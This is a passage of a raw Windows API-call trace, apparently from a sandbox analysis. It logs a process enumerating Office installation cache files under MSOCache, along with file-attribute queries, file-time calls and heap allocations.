ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.139] GetLastError () returned 0x12 [0142.139] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0142.139] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.139] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.139] GetLastError () returned 0x12 [0142.139] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989cd8) returned 1 [0142.139] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.140] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989bd0) returned 1 [0142.140] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.140] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0142.140] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0142.141] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.141] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98b690 [0142.141] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98b690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x98b690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.142] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98b690) returned 1 [0142.142] NtClose (Handle=0x194) returned 0x0 [0142.142] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.142] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.142] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.142] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.142] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.142] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989bd0 [0142.142] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0142.144] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.144] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0142.144] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.144] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.144] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.144] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.144] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.144] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989cd8 [0142.144] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.144] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9848c0 [0142.144] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ae60 [0142.144] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9848e0 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98af68 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984900 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b070 [0142.145] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.145] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0142.145] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984920 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b178 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984940 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b280 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984960 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b388 [0142.146] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.146] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0142.146] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984980 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b490 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, 